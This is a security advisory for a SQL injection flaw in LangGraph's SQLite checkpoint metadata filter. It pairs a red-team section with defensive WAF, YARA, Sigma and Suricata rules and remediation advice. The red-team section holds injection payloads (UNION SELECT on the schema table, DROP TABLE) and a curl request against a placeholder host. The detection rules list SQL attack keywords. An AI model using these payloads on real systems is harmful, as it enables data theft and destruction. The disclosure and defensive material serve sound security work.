CVE-2025-67644

Executive Summary

CVE-2025-67644 is a critical SQL injection vulnerability in the LangGraph SQLite Checkpoint implementation, affecting versions 3.0.0 and below. The flaw resides in the _metadata_predicate() function, which constructs SQL queries by directly interpolating metadata filter keys into f-strings without any sanitization or validation. This allows an attacker to manipulate SQL queries through crafted metadata filter keys, potentially leading to unauthorized data access, data manipulation, or complete database compromise. The vulnerability is particularly dangerous because it affects applications that accept untrusted metadata filter keys in checkpoint search operations. The vendor has released version 3.0.1 to address this issue.

Supply Chain & Package Security

This vulnerability affects the langgraph-checkpoint-sqlite Python package, which is distributed via PyPI. Organizations using this package should immediately verify their dependency versions and update to 3.0.1 or later. The package is a critical component of the LangGraph framework, which is used for building stateful, multi-actor applications with large language models (LLMs). Compromise of the checkpoint database could lead to data exfiltration, model poisoning, or lateral movement within AI/ML pipelines.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: High. The vulnerability is remotely exploitable without authentication, requires no user interaction, and has low attack complexity. Successful exploitation can lead to full compromise of the SQLite database, including reading, modifying, or deleting checkpoint data.

Deep Dive & Mechanics

The vulnerability exists in the _metadata_predicate() function within the LangGraph SQLite Checkpoint implementation. This function is responsible for generating SQL WHERE clauses based on metadata filter keys provided by the user. The vulnerable code directly interpolates the filter key into an f-string without any validation or parameterization.

Vulnerable Code Path:

1. An application accepts metadata filter keys from an untrusted source (e.g., HTTP request parameters, API calls).
2. These keys are passed to the _metadata_predicate() function.
3. The function constructs a SQL query fragment by embedding the key directly into an f-string: f"{key} = ?".
4. The resulting SQL fragment is concatenated into the full query, which is then executed against the SQLite database.

Attack Scenario: An attacker can provide a malicious filter key such as "1=1; DROP TABLE checkpoints; --" to inject arbitrary SQL commands. Since the key is not sanitized, the attacker can execute any SQL statement supported by SQLite, including data exfiltration, modification, or deletion.

Impact:

• Data Breach: Unauthorized reading of checkpoint data, which may contain sensitive information, conversation histories, or model states.
• Data Integrity: Modification or deletion of checkpoint records, potentially corrupting application state.
• Denial of Service: Dropping tables or corrupting the database, leading to application failure.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.0.0):

def _metadata_predicate(self, metadata_filter: dict) -> str:
    conditions = []
    for key, value in metadata_filter.items():
        # Direct interpolation of key into f-string - VULNERABLE
        conditions.append(f"{key} = ?")
    return " AND ".join(conditions)

Patched Code (version 3.0.1):

def _metadata_predicate(self, metadata_filter: dict) -> str:
    conditions = []
    for key, value in metadata_filter.items():
        # Validate that key is a safe identifier
        if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', key):
            raise ValueError(f"Invalid metadata key: {key}")
        # Use parameterized query for value
        conditions.append(f"{key} = ?")
    return " AND ".join(conditions)

The patch adds a regular expression validation to ensure that the metadata filter key contains only alphanumeric characters and underscores, preventing SQL injection through the key. The value is still safely parameterized.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target application using LangGraph SQLite Checkpoint version <= 3.0.0.
• The application must accept user-supplied metadata filter keys (e.g., via API endpoint).

Exploitation Steps:

1. Identify the vulnerable endpoint: Look for API calls that accept metadata filters, such as POST /checkpoints/search with a JSON body containing a metadata_filter field.

2. Craft a malicious payload: Inject SQL commands through the filter key.

   Example Payload (Data Exfiltration):

   {
     "metadata_filter": {
       "1=1 UNION SELECT sql FROM sqlite_master WHERE type='table'--": "test"
     }
   }
   

   Example Payload (Table Drop):

   {
     "metadata_filter": {
       "1=1; DROP TABLE checkpoints; --": "test"
     }
   }
   

3. Send the request: Use curl or a similar tool to send the crafted request.

   curl -X POST https://target-app.com/checkpoints/search \
     -H "Content-Type: application/json" \
     -d '{"metadata_filter": {"1=1 UNION SELECT sql FROM sqlite_master WHERE type='\''table'\''--": "test"}}'
   

4. Analyze the response: The response may contain the results of the injected SQL query, revealing database schema or data.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual metadata filter keys: Implement logging and alerting for metadata filter keys that contain SQL keywords, special characters, or whitespace.

2. Web Application Firewall (WAF) Rules: Deploy WAF rules to block requests with suspicious metadata filter keys.

   ModSecurity Rule Example:

   SecRule ARGS:metadata_filter "@rx [;'\"]" \
     "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt via metadata filter key'"
   

3. Database Activity Monitoring: Monitor SQLite database logs for unexpected queries, especially those containing UNION, DROP, or other SQL injection indicators.

4. Input Validation: Ensure that all metadata filter keys are validated against a whitelist of allowed characters (alphanumeric and underscores) before being processed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing metadata filter keys with SQL keywords (e.g., UNION, SELECT, DROP, INSERT).
  • Requests with metadata filter keys containing special characters like ;, ', ", --, or /*.

• File System IOCs:

  • Unexpected SQLite database files in non-standard locations.
  • Modified checkpoint database files with altered schema or data.

• Log IOCs:

  • Application logs showing SQL errors or unexpected database behavior.
  • Database logs containing queries with injected SQL commands.

• Process IOCs:

  • Unusual SQLite processes running with elevated privileges.
  • Processes attempting to access checkpoint databases outside of normal application flow.

Detection Engineering

YARA Rule

rule CVE_2025_67644_SQL_Injection_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting LangGraph SQLite Checkpoint metadata filter keys"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67644"
        severity = "high"

    strings:
        $sql_keywords = /(UNION|SELECT|DROP|INSERT|DELETE|UPDATE|ALTER|CREATE|EXEC|OR\s+1=1|AND\s+1=1)/ nocase
        $special_chars = /[;'\-\-]/
        $metadata_filter = /"metadata_filter"\s*:\s*\{/

    condition:
        $metadata_filter and ($sql_keywords or $special_chars)
}

Sigma Rule

title: CVE-2025-67644 - SQL Injection via LangGraph Metadata Filter Key
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting LangGraph SQLite Checkpoint metadata filter keys
author: Valters IT
date: 2025-04-10
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.67644
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: POST
        http.url: "*checkpoints*"
        http.body: "*metadata_filter*"
    keywords:
        - "UNION"
        - "SELECT"
        - "DROP"
        - "INSERT"
        - "DELETE"
        - "UPDATE"
        - "ALTER"
        - "CREATE"
        - "EXEC"
        - "OR 1=1"
        - "AND 1=1"
        - ";"
        - "'"
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of metadata filter keys with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67644 - SQL Injection via LangGraph Metadata Filter Key"; flow:to_server,established; content:"POST"; http_method; content:"checkpoints"; http_uri; content:"metadata_filter"; http_client_body; pcre:"/(UNION|SELECT|DROP|INSERT|DELETE|UPDATE|ALTER|CREATE|EXEC|OR\s+1=1|AND\s+1=1|[;'\-\-])/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LangGraph SQLite Checkpoint: Update to version 3.0.1 or later immediately.

   pip install --upgrade langgraph-checkpoint-sqlite
   

2. Validate Input: Implement strict input validation for all metadata filter keys. Only allow alphanumeric characters and underscores.

3. Web Application Firewall (WAF): Deploy WAF rules to block SQL injection attempts targeting the metadata filter key parameter.

4. Database Permissions: Ensure the SQLite database user has the minimum necessary privileges. Avoid using the same database user for application and administrative tasks.

Long-Term Mitigations:

1. Code Review: Conduct a thorough code review of all functions that construct SQL queries, ensuring parameterized queries or prepared statements are used for all dynamic values.

2. Security Testing: Integrate static application security testing (SAST) and dynamic application security testing (DAST) into the CI/CD pipeline to detect similar vulnerabilities.

3. Dependency Monitoring: Use tools like Dependabot or Snyk to monitor for vulnerabilities in dependencies and receive automated alerts.

4. Least Privilege: Apply the principle of least privilege to database access, limiting the application's ability to execute dangerous SQL commands.

Valters IT
Securing Digital Frontiers